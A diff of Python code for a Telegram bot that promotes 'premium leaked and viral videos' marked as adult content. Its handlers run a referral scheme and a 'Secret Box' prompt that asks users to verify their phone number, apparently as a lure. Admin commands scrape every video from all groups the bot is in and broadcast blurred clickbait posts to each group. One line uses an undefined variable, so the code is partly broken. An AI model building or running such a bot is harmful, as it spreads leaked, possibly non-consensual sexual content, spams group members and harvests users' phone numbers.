+ @bot.on_message(filters.command("start"))
543
+ async def start(client, message):
544
+ if message.chat.type != enums.ChatType.PRIVATE:
545
+ try:
546
+ bot_me = client.me if client.me else await client.get_me()
547
+ bot_link = f"https://t.me/{bot_me.username}"
548
+ markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Videos Now", url=bot_link)]])
549
+ await message.reply("🔥 **Watch Premium Viral Videos for FREE!**\n\n👉 Click the button below to watch:", reply_markup=markup)
550
+ except Exception: pass
551
+ return
552
+
553
+ try:
554
+ user_id = message.from_user.id
555
+ first_name = message.from_user.first_name
556
+ args = message.command
557
+ referrer_id = None
558
+ is_secret = False
559
+
560
+ # Secret Box থেকে এসেছে কিনা সেটা চেক করা হচ্ছে
561
+ if len(args) > 1:
562
+ if args[1] == "secretbox":
563
+ is_secret = True
564
+ else:
565
+ try: referrer_id = int(args[1])
566
+ except ValueError: pass
567
 
568
+ user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute())
569
+
570
+ if not user_check.data:
571
+ try:
572
+ await db_query(lambda: supabase.table('referrals').insert({'user_id': user_id, 'referral_count': 0, 'referrer_id': referrer_id if referrer_id != user_id else None}).execute())
573
+ if referrer_id and referrer_id != user_id:
574
+ ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
575
+ if ref_data.data:
576
+ new_count = ref_data.data[0]['referral_count'] + 1
577
+ await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
578
+ try:
579
+ safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User"
580
+ success_msg = f"🎉 <b>Congratulations!</b>\n\n👤 <b>{safe_name}</b> has joined using your link!\n📈 Total Invites: <b>{new_count}</b>\n\n<i>Go to the Web App to check unlocked videos!</i>"
581
+ markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Check Unlocked Videos", web_app=WebAppInfo(url=WEB_APP_URL))]])
582
+ await client.send_message(referrer_id, success_msg, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
583
+ except Exception: pass
584
+ except Exception as db_err:
585
+ print(f"Error handling referral DB entry: {db_err}")
586
 
587
+ bot_me = client.me if client.me else await client.get_me()
588
+
589
+ # যদি Secret Box-এর বাটনে ক্লিক করে আসে, তাহলে স্পেশাল মেসেজ এবং বাটন দেওয়া হবে
590
+ if is_secret:
591
+ btn_text = "🎁 Open App & Claim Premium"
592
+ welcome_text = (f"Hello <b>{first_name}</b>! 👋\n\n🎁 <b>Secret Box Unlock করুন!</b>\nনিচের বাটনে ক্লিক করে অ্যাপটি ওপেন করুন এবং আপনার নাম্বার ভেরিফাই করে Premium Channel Claim করে নিন!\n\n👇 <b>Click the button below:</b>")
593
+ else:
594
+ btn_text = "🔥 Play Viral Videos 🔞"
595
+ welcome_text = (f"Hello <b>{first_name}</b>! 👋\n\n🎁 <b>Welcome to Video Unlocker Pro!</b>\nHere you can watch premium leaked and viral videos completely for FREE.\n\n👇 <b>Click the button below to Open App:</b>")
596
+
597
+ markup = InlineKeyboardMarkup([
598
+ [InlineKeyboardButton(btn_text, web_app=WebAppInfo(url=WEB_APP_URL))],
599
+ [InlineKeyboardButton("📢 Add to Group", url=f"https://t.me/{bot_me.username}?startgroup=true")]
600
+ ])
601
+
602
+ await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
603
+ except Exception as e: print(f"Start error: {e}")
604
+
605
+ @bot.on_message(filters.new_chat_members)
606
+ async def bot_added_to_group(client, message):
607
+ me = client.me
608
+ if getattr(me, "id", None) is None:
609
+ try: me = await client.get_me()
610
+ except: return
611
+
612
+ for member in message.new_chat_members:
613
+ if member.id == me.id:
614
  try:
615
+ await db_query(lambda: supabase.table('groups').upsert({
616
+ 'group_id': message.chat.id,
617
+ 'group_name': message.chat.title,
618
+ 'added_by': message.from_user.id if message.from_user else None
619
+ }).execute())
620
+
621
+ group_name = message.chat.title
622
+ admin_msg = f"✅ <b>Bot added to a new group!</b>\n\n📌 <b>Group Name:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
623
+ for admin_id in ADMIN_IDS:
624
+ try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
625
+ except: pass
626
+
627
  except Exception as e:
628
+ print(f"Error handling new group logic: {e}")
629
+
630
+ @bot.on_message(filters.command("sendto") & filters.private & filters.user(ADMIN_IDS))
631
+ async def send_to_specific_group(client, message):
632
+ if not message.reply_to_message:
633
+ return await message.reply("❌ <b>Please reply to a message, photo, or video that you want to send.</b>\n\nExample: `/sendto -1001234567890`")
634
+
635
+ args = message.command
636
+ if len(args) < 2: return await message.reply("❌ <b>Group ID missing!</b>\n\nCorrect format:\n`/sendto -1003973566529`")
637
 
638
+ try:
639
+ group_id = int(args[1])
640
+ status = await message.reply("⏳ Sending message to group...")
641
+ await message.reply_to_message.copy(chat_id=group_id)
642
+ await status.edit_text(f"✅ <b>Successfully sent to Group ID:</b> <code>{group_id}</code>", parse_mode=enums.ParseMode.HTML)
643
+ except Exception as e:
644
+ await status.edit_text(f"❌ <b>Failed to send!</b>\nError: {e}", parse_mode=enums.ParseMode.HTML)
645
+
646
+
647
+ # ================= MASS CLONE FROM ALL GROUPS =================
648
+ async def clone_all_background(client, dest_id, status_msg):
649
+ try:
650
+ groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
651
+ if not groups_res.data:
652
+ return await status_msg.edit_text("❌ <b>No groups found in database.</b>", parse_mode=enums.ParseMode.HTML)
653
+
654
+ groups = [g['group_id'] for g in groups_res.data]
655
+ total_groups = len(groups)
656
+
657
+ await status_msg.edit_text(f"✅ Found <b>{total_groups}</b> groups.\n🚀 Starting mass cloning from oldest videos...", parse_mode=enums.ParseMode.HTML)
658
+
659
+ total_copied = 0
660
+
661
+ for index, source_id in enumerate(groups, 1):
662
+ if source_id == dest_id or source_id == STORAGE_CHANNEL_ID or source_id == PREMIUM_CHANNEL_ID:
663
+ continue
664
+
665
+ try:
666
+ await status_msg.edit_text(f"⏳ <b>Cloning Group {index}/{total_groups}</b>\nID: <code>{source_id}</code>\nTotal Copied So Far: <b>{total_copied}</b>", parse_mode=enums.ParseMode.HTML)
667
+ except Exception: pass
668
+
669
+ progress_res = await db_query(lambda: supabase.table('clone_progress').select('last_copied_id').eq('source_id', source_id).eq('dest_id', dest_id).execute())
670
+ last_copied_id = progress_res.data[0]['last_copied_id'] if progress_res.data else None
671
+
672
+ video_ids = []
673
+ retries = 3
674
+ while retries > 0:
675
+ try:
676
+ async for msg in client.search_messages(source_id, filter=enums.MessagesFilter.VIDEO):
677
+ if last_copied_id and msg.id <= last_copied_id: continue
678
+ video_ids.append(msg.id)
679
+ if len(video_ids) % 100 == 0: await asyncio.sleep(0.1)
680
+ break
681
+ except FloodWait as e:
682
+ await asyncio.sleep(e.value + 1)
683
+ except Exception as e:
684
+ err_msg = str(e).lower()
685
+ if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg:
686
+ retries -= 1
687
+ video_ids = []
688
+ await asyncio.sleep(5)
689
+ else:
690
+ break
691
+
692
+ if not video_ids:
693
+ continue
694
+
695
+ video_ids.reverse()
696
+
697
+ for msg_id in video_ids:
698
+ copy_retries = 3
699
+ copy_success = False
700
+ while copy_retries > 0:
701
+ try:
702
+ await client.copy_message(chat_id=dest_id, from_chat_id=source_id, message_id=msg_id)
703
+ total_copied += 1
704
+ await save_progress(source_id, dest_id, msg_id)
705
+ copy_success = True
706
+ break
707
+ except FloodWait as e:
708
+ await asyncio.sleep(e.value + 2)
709
+ except Exception as e:
710
+ err_msg = str(e).lower()
711
+ if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg:
712
+ copy_retries -= 1
713
+ await asyncio.sleep(3)
714
+ else:
715
+ break
716
+ await asyncio.sleep(2.5)
717
+
718
+ await status_msg.edit_text(f"🎉 <b>Mass Cloning Completely Finished!</b>\n\nTotal Videos Copied from all groups: <b>{total_copied}</b>", parse_mode=enums.ParseMode.HTML)
719
+
720
+ except Exception as e:
721
+ try: await status_msg.edit_text(f"❌ <b>Cloning Error:</b> {e}", parse_mode=enums.ParseMode.HTML)
722
+ except: pass
723
+
724
+ @bot.on_message(filters.command("cloneall") & filters.private & filters.user(ADMIN_IDS))
725
+ async def start_mass_cloning(client, message):
726
+ dest_id = -1003798479478
727
+ status_msg = await message.reply(f"⏳ <b>Initializing mass cloning task to <code>{dest_id}</code>...</b>", parse_mode=enums.ParseMode.HTML)
728
+ asyncio.create_task(clone_all_background(client, dest_id, status_msg))
729
+
730
+
731
+ async def clone_videos_background(client, source_id, dest_id, status_msg):
732
+ try:
733
+ progress_res = await db_query(lambda: supabase.table('clone_progress').select('last_copied_id').eq('source_id', source_id).eq('dest_id', dest_id).execute())
734
+
735
+ last_copied_id = None
736
+ if progress_res.data:
737
+ last_copied_id = progress_res.data[0]['last_copied_id']
738
+ await status_msg.edit_text(f"⏳ <b>Resuming clone task...</b>\nFound previous progress. Resuming after video ID <code>{last_copied_id}</code>...\nFetching video list from <code>{source_id}</code>...", parse_mode=enums.ParseMode.HTML)
739
+ else:
740
+ await status_msg.edit_text(f"⏳ <b>Cloning started!</b>\nFetching video list from <code>{source_id}</code>...\n<i>This might take a few minutes if the group has many videos.</i>", parse_mode=enums.ParseMode.HTML)
741
+
742
+ video_ids = []
743
+ retries = 5
744
+ while retries > 0:
745
+ try:
746
+ if not client.is_connected: await client.connect()
747
+ async for msg in client.search_messages(source_id, filter=enums.MessagesFilter.VIDEO):
748
+ if last_copied_id and msg.id <= last_copied_id: continue
749
+ video_ids.append(msg.id)
750
+ if len(video_ids) % 200 == 0: await asyncio.sleep(0.1)
751
+ break
752
+ except Exception as e:
753
+ err_msg = str(e).lower()
754
+ if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg or "reset" in err_msg:
755
+ retries -= 1
756
+ video_ids = []
757
+ await status_msg.edit_text(f"⚠️ <b>Network issue detected!</b>\nRetrying in 10 seconds... (Attempts left: {retries})\nError: <code>{e}</code>", parse_mode=enums.ParseMode.HTML)
758
+ await asyncio.sleep(10)
759
+ else: raise e
760
+
761
+ if not video_ids:
762
+ if last_copied_id: return await status_msg.edit_text("🎉 <b>All videos are already cloned!</b>\nNo new videos found in the source group.", parse_mode=enums.ParseMode.HTML)
763
+ else: return await status_msg.edit_text("❌ <b>No videos found in the source group!</b>\n(Make sure the bot is an admin with read history permission in that group).", parse_mode=enums.ParseMode.HTML)
764
+
765
+ video_ids.reverse()
766
+ total = len(video_ids)
767
+
768
+ if last_copied_id: await status_msg.edit_text(f"✅ Found <b>{total}</b> new videos to clone.\n🚀 Resuming background cloning from oldest to newest...", parse_mode=enums.ParseMode.HTML)
769
+ else: await status_msg.edit_text(f"✅ Found <b>{total}</b> videos.\n🚀 Background cloning started from oldest to newest...", parse_mode=enums.ParseMode.HTML)
770
+
771
+ success = 0
772
+ failed = 0
773
+
774
+ for index, msg_id in enumerate(video_ids, 1):
775
+ copy_success = False
776
+ copy_retries = 3
777
+ while copy_retries > 0:
778
+ try:
779
+ if not client.is_connected: await client.connect()
780
+ await client.copy_message(chat_id=dest_id, from_chat_id=source_id, message_id=msg_id)
781
+ success += 1
782
+ await save_progress(source_id, dest_id, msg_id)
783
+ copy_success = True
784
+ break
785
+ except FloodWait as e: await asyncio.sleep(e.value + 2)
786
+ except Exception as e:
787
+ err_msg = str(e).lower()
788
+ if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg or "reset" in err_msg:
789
+ copy_retries -= 1
790
+ await asyncio.sleep(5)
791
+ else: break
792
+
793
+ if not copy_success: failed += 1
794
+ if index % 20 == 0 or index == total:
795
+ try: await status_msg.edit_text(f"⏳ <b>Cloning in progress... (Background)</b>\n\nTotal Videos to Copy: <b>{total}</b>\n✅ Copied: <b>{success}</b>\n❌ Failed: <b>{failed}</b>\nLast Video ID: <code>{msg_id}</code>", parse_mode=enums.ParseMode.HTML)
796
+ except: pass
797
+
798
+ await asyncio.sleep(2.5)
799
+
800
+ await status_msg.edit_text(f"🎉 <b>Cloning Completely Finished!</b>\n\nSource: <code>{source_id}</code>\nTotal Copied: <b>{total}</b>\n✅ Successfully Copied: <b>{success}</b>\n❌ Failed: <b>{failed}</b>", parse_mode=enums.ParseMode.HTML)
801
+
802
+ except Exception as e:
803
+ try: await status_msg.edit_text(f"❌ <b>Cloning Error:</b> {e}", parse_mode=enums.ParseMode.HTML)
804
+ except: pass
805
+
806
+ @bot.on_message(filters.command("clone") & filters.private & filters.user(ADMIN_IDS))
807
+ async def start_cloning(client, message):
808
+ args = message.command
809
+ if len(args) != 3: return await message.reply("❌ <b>Invalid format!</b>\n\nUse: `/clone <Source_Group_ID> <Destination_Group_ID>`\nExample: `/clone -100123456789 -100987654321`", parse_mode=enums.ParseMode.HTML)
810
+
811
+ try:
812
+ source_id = int(args[1])
813
+ dest_id = int(args[2])
814
+ except ValueError: return await message.reply("❌ Chat IDs must be numbers.")
815
+
816
+ status_msg = await message.reply("⏳ Initializing cloning task...", parse_mode=enums.ParseMode.HTML)
817
+ asyncio.create_task(clone_videos_background(client, source_id, dest_id, status_msg))
818
+
819
+
820
+ @bot.on_message(filters.command("upload") & filters.private & filters.user(ADMIN_IDS))
821
+ async def set_upload_mode(client, message):
822
+ global upload_mode
823
+ args = message.command
824
+ if len(args) > 1:
825
+ mode = args[1].lower()
826
+ if mode in ["telegram", "tg", "local"]:
827
+ upload_mode = "telegram"
828
+ await message.reply("✅ <b>Upload server set to: Telegram</b>\nVideos will be uploaded to your own channel and streamed via Hugging Face.")
829
+ elif mode in ["byse", "byse.sx", "external"]:
830
+ upload_mode = "byse"
831
+ await message.reply("✅ <b>Upload server set to: Byse.sx</b>\nVideos will be uploaded to Byse.sx and streamed via their player.")
832
+ else: await message.reply("❌ <b>Invalid server!</b> Use `/upload telegram` or `/upload byse`.")
833
+ else:
834
+ await message.reply(f"📌 <b>Current Upload Server:</b> <code>{upload_mode.upper()}</code>\n\nTo change, use:\n👉 `/upload telegram` (Storage Channel Stream)\n👉 `/upload byse` (Byse.sx third-party player)")
835
+
836
+ @bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
837
+ async def set_blur_state(client, message):
838
+ try:
839
+ args = message.text.split()
840
+ if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']:
841
+ if message.chat.id in admin_states:
842
+ admin_states[message.chat.id].pop("blur_percent", None)
843
+ admin_states[message.chat.id].pop("clear_percent", None)
844
+ await message.reply("✅ <b>Blur mode is disabled!</b>\nUploaded videos will no longer be blurred, only watermarked as before.", parse_mode=enums.ParseMode.HTML)
845
+ return
846
+
847
+ match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
848
+ if match:
849
+ percent = int(match.group(1))
850
+ clear_percent = int(match.group(2)) if match.group(2) else 0
851
+
852
+ if percent == 0:
853
+ if message.chat.id in admin_states:
854
+ admin_states[message.chat.id].pop("blur_percent", None)
855
+ admin_states[message.chat.id].pop("clear_percent", None)
856
+ await message.reply("✅ <b>Blur mode is disabled!</b>", parse_mode=enums.ParseMode.HTML)
857
+ return
858
+
859
+ if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
860
+ admin_states[message.chat.id]["blur_percent"] = percent
861
+ admin_states[message.chat.id]["clear_percent"] = clear_percent
862
+
863
+ clear_msg = f"and the top <b>{clear_percent}%</b> part will remain clear." if clear_percent > 0 else "The entire photo/video will be blurred."
864
+ reply_text = f"✅ <b>Blur set to: {percent}%</b>\n📌 {clear_msg}\n\nThis will be applied to all future uploads.\n<i>(To disable, send /blur 0)</i>"
865
+ await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
866
+ else: await message.reply("❌ <b>Invalid command!</b>\nCorrect format: `/blur 60` or `/blur 60 20`")
867
+ except Exception as e: print(e)
868
+
869
+ def upload_file_sync(upload_url, file_path, api_key):
870
+ try:
871
+ with open(file_path, 'rb') as f:
872
+ res = requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900)
873
+ return res.json() if res.status_code == 200 else {}
874
+ except Exception: return {}
875
+
876
+ @bot.on_message((filters.video | filters.animation | filters.photo | filters.document) & filters.private & filters.user(ADMIN_IDS))
877
+ async def handle_media_upload(client, message):
878
+ global upload_mode
879
+ state = admin_states.get(message.chat.id, {})
880
+ if state.get("step") == "broadcast":
881
+ await process_broadcast(client, message)
882
+ return
883
+
884
+ is_video = message.video or (message.document and message.document.mime_type and "video" in message.document.mime_type)
885
+ is_animation = message.animation or (message.document and message.document.mime_type and "gif" in message.document.mime_type)
886
+ is_photo = message.photo or (message.document and message.document.mime_type and "image" in message.document.mime_type)
887
+
888
+ if not (is_video or is_animation or is_photo): return
889
+
890
+ media_type = "video" if (is_video or is_animation) else "photo"
891
+ has_blur_caption = message.caption and "/blur" in message.caption.lower()
892
+ is_persistent_blur = bool(state.get("blur_percent"))
893
+
894
+ if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
895
+ status = await message.reply("⏳ Saving thumbnail...")
896
+ try:
897
+ local_path = await message.download()
898
+ def upload_to_supabase():
899
+ with open(local_path, 'rb') as f: file_bytes = f.read()
900
+ file_name = f"thumb_{int(time.time())}.jpg"
901
+ supabase.storage.from_('thumbnails').upload(file_name, file_bytes, {"content-type": "image/jpeg"})
902
+ return supabase.storage.from_('thumbnails').get_public_url(file_name)
903
+
904
+ direct_link = await asyncio.to_thread(upload_to_supabase)
905
+ if os.path.exists(local_path): os.remove(local_path)
906
+ await status.edit_text(f"✅ <b>Thumbnail saved successfully!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
907
+ except Exception as e: await status.edit_text(f"⚠️ Upload Error: {e}")
908
+ return
909
+
910
+ raw_caption = message.caption or ""
911
+ blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE)
912
+
913
+ is_blur = False
914
+ blur_percent = 0
915
+ clear_percent = 0
916
+ clean_caption = raw_caption
917
+
918
+ if blur_match:
919
+ is_blur = True
920
+ blur_percent = int(blur_match.group(1))
921
+ clear_percent = int(blur_match.group(2)) if match.group(2) else 0
922
+ clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
923
+ elif state.get("blur_percent"):
924
+ is_blur = True
925
+ blur_percent = state["blur_percent"]
926
+ clear_percent = state.get("clear_percent", 0)
927
+
928
+ is_large_video = False
929
+ if media_type == "video":
930
+ media = get_media_obj(message)
931
+ duration = media.duration if media and hasattr(media, 'duration') and media.duration else 0
932
+ file_size = media.file_size if media and hasattr(media, 'file_size') and media.file_size else 0
933
+ MAX_DURATION = 7200
934
+ MAX_SIZE = 1900 * 1024 * 1024
935
+
936
+ if duration > MAX_DURATION or file_size > MAX_SIZE:
937
+ is_large_video = True
938
+ is_blur = False
939
+
940
+ status_msg = await message.reply("⏳ <b>Video is too large!</b> Skipping blur..." if is_large_video else "⏳ Downloading media... 0%")
941
+ bot_me = client.me if client.me else await client.get_me()
942
+ bot_link = f"https://t.me/{bot_me.username}"
943
+
944
+ original_file, watermarked_file, blurred_file = None, None, None
945
+ clean_upload_file, telegram_file, embed_link = None, None, None
946
+
947
+ last_update_time = time.time()
948
+ async def download_progress(current, total):
949
+ nonlocal last_update_time
950
+ now = time.time()
951
+ if now - last_update_time >= 4.0:
952
+ try:
953
+ percent = (current / total) * 100
954
+ await status_msg.edit_text(f"⏳ Downloading media... {percent:.1f}%")
955
+ last_update_time = now
956
+ except Exception: pass
957
+
958
+ try:
959
+ original_file = await message.download(progress=download_progress)
960
+ clean_upload_file = original_file
961
+
962
+ if media_type == "video" and not is_large_video and ffmpeg_available:
963
+ await status_msg.edit_text("⏳ Watermarking video... (HD + Superfast Processing)")
964
+ watermarked_file = f"{original_file}_wm.mp4"
965
+
966
+ has_audio = not (message.animation or (message.document and message.document.mime_type and "gif" in message.document.mime_type))
967
+ audio_opts = ["-an"] if not has_audio else ["-c:a", "copy"]
968
+
969
+ cmd = [
970
+ "ffmpeg", "-y", "-i", original_file,
971
+ "-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
972
+ "-c:v", "libx264", "-preset", "superfast", "-crf", "23",
973
+ "-pix_fmt", "yuv420p"
974
+ ] + audio_opts + ["-movflags", "+faststart", watermarked_file]
975
+
976
+ process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
977
+ await process.communicate()
978
+
979
+ if process.returncode == 0 and os.path.exists(watermarked_file) and os.path.getsize(watermarked_file) > 0:
980
+ clean_upload_file = watermarked_file
981
+
982
+ storage_msg_id = None
983
+ if media_type in ["video", "photo"]:
984
+ if upload_mode == "telegram":
985
+ await status_msg.edit_text("⏳ Uploading Clean HD video to your storage channel...")
986
+
987
+ thumb_path_storage = None
988
+ if ffmpeg_available:
989
+ thumb_path_storage = f"{original_file}_storage_thumb.jpg"
990
+ proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", clean_upload_file, "-vframes", "1", thumb_path_storage, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
991
+ await proc.communicate()
992
+ if not os.path.exists(thumb_path_storage):
993
+ thumb_path_storage = None
994
+
995
+ media = get_media_obj(message)
996
+ vid_duration = media.duration if media and hasattr(media, 'duration') and media.duration else 0
997
+ vid_width = media.width if media and hasattr(media, 'width') and media.width else 0
998
+ vid_height = media.height if media and hasattr(media, 'height') and media.height else 0
999
+
1000
+ sent_to_channel = await client.send_video(
1001
+ chat_id=STORAGE_CHANNEL_ID,
1002
+ video=clean_upload_file,
1003
+ caption=f"Backup of video uploaded by Admin. File: {os.path.basename(clean_upload_file)}",
1004
+ duration=vid_duration,
1005
+ width=vid_width,
1006
+ height=vid_height,
1007
+ thumb=thumb_path_storage
1008
+ )
1009
+ storage_msg_id = sent_to_channel.id
1010
+
1011
+ stream_link = f"{BACKEND_URL}/stream/{storage_msg_id}"
1012
+ download_link = f"{BACKEND_URL}/download/{storage_msg_id}"
1013
+ embed_link = stream_link
1014
+ else:
1015
+ await status_msg.edit_text("⏳ Uploading Clean HD video to byse.sx server...")
1016
+ api_endpoint = "https://api.byse.sx/upload/server"
1017
+ loop = asyncio.get_event_loop()
1018
+ response = await loop.run_in_executor(None, lambda: requests.get(api_endpoint, params={'key': BYSE_API_KEY}, timeout=30))
1019
+ result = response.json()
1020
+
1021
+ if result.get('status') == 200:
1022
+ upload_res = await loop.run_in_executor(None, upload_file_sync, result.get('result'), clean_upload_file, BYSE_API_KEY)
1023
+ if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
1024
+ file_status = upload_res['files'][0].get('status', '')
1025
+ if "not allowed" in str(file_status).lower():
1026
+ await status_msg.edit_text(f"❌ byse.sx rejected the file: <code>{file_status}</code>", parse_mode=enums.ParseMode.HTML)
1027
+ return
1028
+ file_code = upload_res['files'][0].get('filecode')
1029
+ if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
1030
+
1031
+ if not embed_link:
1032
+ await status_msg.edit_text("❌ Uploaded to byse.sx but Embed Link not found.")
1033
+ return
1034
+
1035
+ stream_link = embed_link
1036
+ download_link = embed_link
1037
+
1038
+ if is_large_video:
1039
+ admin_cap = f"✅ <b>Success! (Large Video)</b>\n\n🔗 <b>Embed Link (Clean HD):</b>\n<code>{embed_link or 'N/A'}</code>\n\n📌 <i>Broadcast skipped due to large file size.</i>"
1040
+ await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
1041
+ await status_msg.delete()
1042
+ return
1043
+
1044
+ telegram_file = clean_upload_file
1045
+ if is_blur and not is_large_video and ffmpeg_available:
1046
+ await status_msg.edit_text(f"⏳ Applying {blur_percent}% blur for Telegram broadcast...")
1047
+ radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
1048
+ ext = "jpg" if media_type == "photo" else "mp4"
1049
+ blurred_file = f"{original_file}_blurred.{ext}"
1050
+
1051
+ if clear_percent > 0:
1052
+ clear_ratio = clear_percent / 100.0
1053
+ ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0[vout]", "-map", "[vout]"]
1054
+ if media_type == "video":
1055
+ ff_filter.extend(["-map", "0:a?"])
1056
+ else:
1057
+ ff_filter = ["-vf", f"boxblur={radius}:1"]
1058
+
1059
+ has_audio = not (message.animation or (message.document and message.document.mime_type and "gif" in message.document.mime_type))
1060
+ audio_opts_blur = ["-an"] if not has_audio else []
1061
+
1062
+ if media_type == "photo":
1063
+ cmd_blur = ["ffmpeg", "-y", "-i", clean_upload_file] + ff_filter + [blurred_file]
1064
+ else:
1065
+ cmd_blur = ["ffmpeg", "-y", "-i", clean_upload_file] + ff_filter + ["-c:v", "libx264", "-preset", "superfast", "-crf", "23", "-pix_fmt", "yuv420p"] + audio_opts_blur + ["-movflags", "+faststart", blurred_file]
1066
+
1067
+ process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
1068
+ await process_blur.communicate()
1069
+
1070
+ if process_blur.returncode == 0 and os.path.exists(blurred_file) and os.path.getsize(blurred_file) > 0:
1071
+ telegram_file = blurred_file
1072
+
1073
+ await status_msg.edit_text("⏳ Preparing to broadcast to groups...")
1074
+ if media_type == "video":
1075
+ caption_text = (
1076
+ f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n"
1077
+ f"🎬 <b>Watch HD Video Here:</b>\n"
1078
+ f"👉 <b><a href='{embed_link if is_blur else bot_link}'>▶️ Click Here to Watch</a></b>\n\n"
1079
+ f"🎁 <b>App এর ভেতর 'Secret Box' ওপেন করে Premium Channel Claim করুন!</b> 👇"
1080
+ )
1081
+ else:
1082
+ caption_text = (
1083
+ f"{clean_caption}\n\n🎁 <b>App এর ভেতর 'Secret Box' ওপেন করে Premium Channel Claim করুন!</b> 👇"
1084
+ if clean_caption else
1085
+ f"🔥 <b>New Premium Viral Content!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n🎁 <b>App এর ভেতর 'Secret Box' ওপেন করে Premium Channel Claim করুন!</b> 👇"
1086
+ )
1087
+
1088
+ group_markup = InlineKeyboardMarkup([
1089
+ [InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)],
1090
+ [InlineKeyboardButton("🎁 Open Secret Box", url=f"{bot_link}?start=secretbox")]
1091
+ ])
1092
+
1093
+ admin_cap = (
1094
+ f"✅ <b>Upload and Processing Complete!</b>\n\n"
1095
+ f"🎬 <b>Stream/Watch Online Link:</b>\n<code>{stream_link}</code>\n\n"
1096
+ f"📥 <b>Direct Download Link:</b>\n<code>{download_link}</code>"
1097
+ )
1098
+
1099
+ thumb_path = None
1100
+ if media_type == "video" and ffmpeg_available:
1101
+ thumb_path = f"{original_file}_thumb.jpg"
1102
+ proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", telegram_file, "-vframes", "1", thumb_path, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
1103
+ await proc.communicate()
1104
+ if not os.path.exists(thumb_path): thumb_path = None
1105
+
1106
+ try:
1107
+ if media_type == "photo":
1108
+ sent_to_admin = await client.send_photo(message.chat.id, telegram_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
1109
+ else:
1110
+ media = get_media_obj(message)
1111
+ vid_duration = media.duration if media and hasattr(media, 'duration') and media.duration else 0
1112
+ vid_width = media.width if media and hasattr(media, 'width') and media.width else 0
1113
+ vid_height = media.height if media and hasattr(media, 'height') and media.height else 0
1114
+
1115
+ sent_to_admin = await client.send_video(
1116
+ message.chat.id,
1117
+ telegram_file,
1118
+ caption=admin_cap,
1119
+ parse_mode=enums.ParseMode.HTML,
1120
+ duration=vid_duration,
1121
+ width=vid_width,
1122
+ height=vid_height,
1123
+ thumb=thumb_path
1124
+ )
1125
+
1126
+ await save_progress(message.chat.id, 0, sent_to_admin.id)
1127
+
1128
+ except Exception as e:
1129
+ await message.reply(f"❌ Failed to send final file to you: {e}")
1130
+ return
1131
+
1132
+ tg_file_id = get_msg_file_id(sent_to_admin)
1133
+ if not tg_file_id:
1134
+ tg_file_id = get_msg_file_id(message)
1135
+
1136
+ try: await status_msg.delete()
1137
+ except: pass
1138
+
1139
+ try:
1140
+ groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
1141
+ except Exception as db_err:
1142
+ await message.reply(f"⚠️ Failed to fetch groups from database: {db_err}")
1143
+ return
1144
+
1145
+ group_ids = [g['group_id'] for g in groups_res.data]
1146
+ success_count, fail_count = 0, 0
1147
+
1148
+ for gid in set(group_ids):
1149
+ retries = 3
1150
+ while retries > 0:
1151
+ try:
1152
+ if not client.is_connected: await client.connect()
1153
+ if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
1154
+ else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
1155
+ success_count += 1
1156
+ break
1157
+ except FloodWait as e:
1158
+ await asyncio.sleep(e.value + 1)
1159
+ except Exception as e:
1160
+ err_msg = str(e).lower()
1161
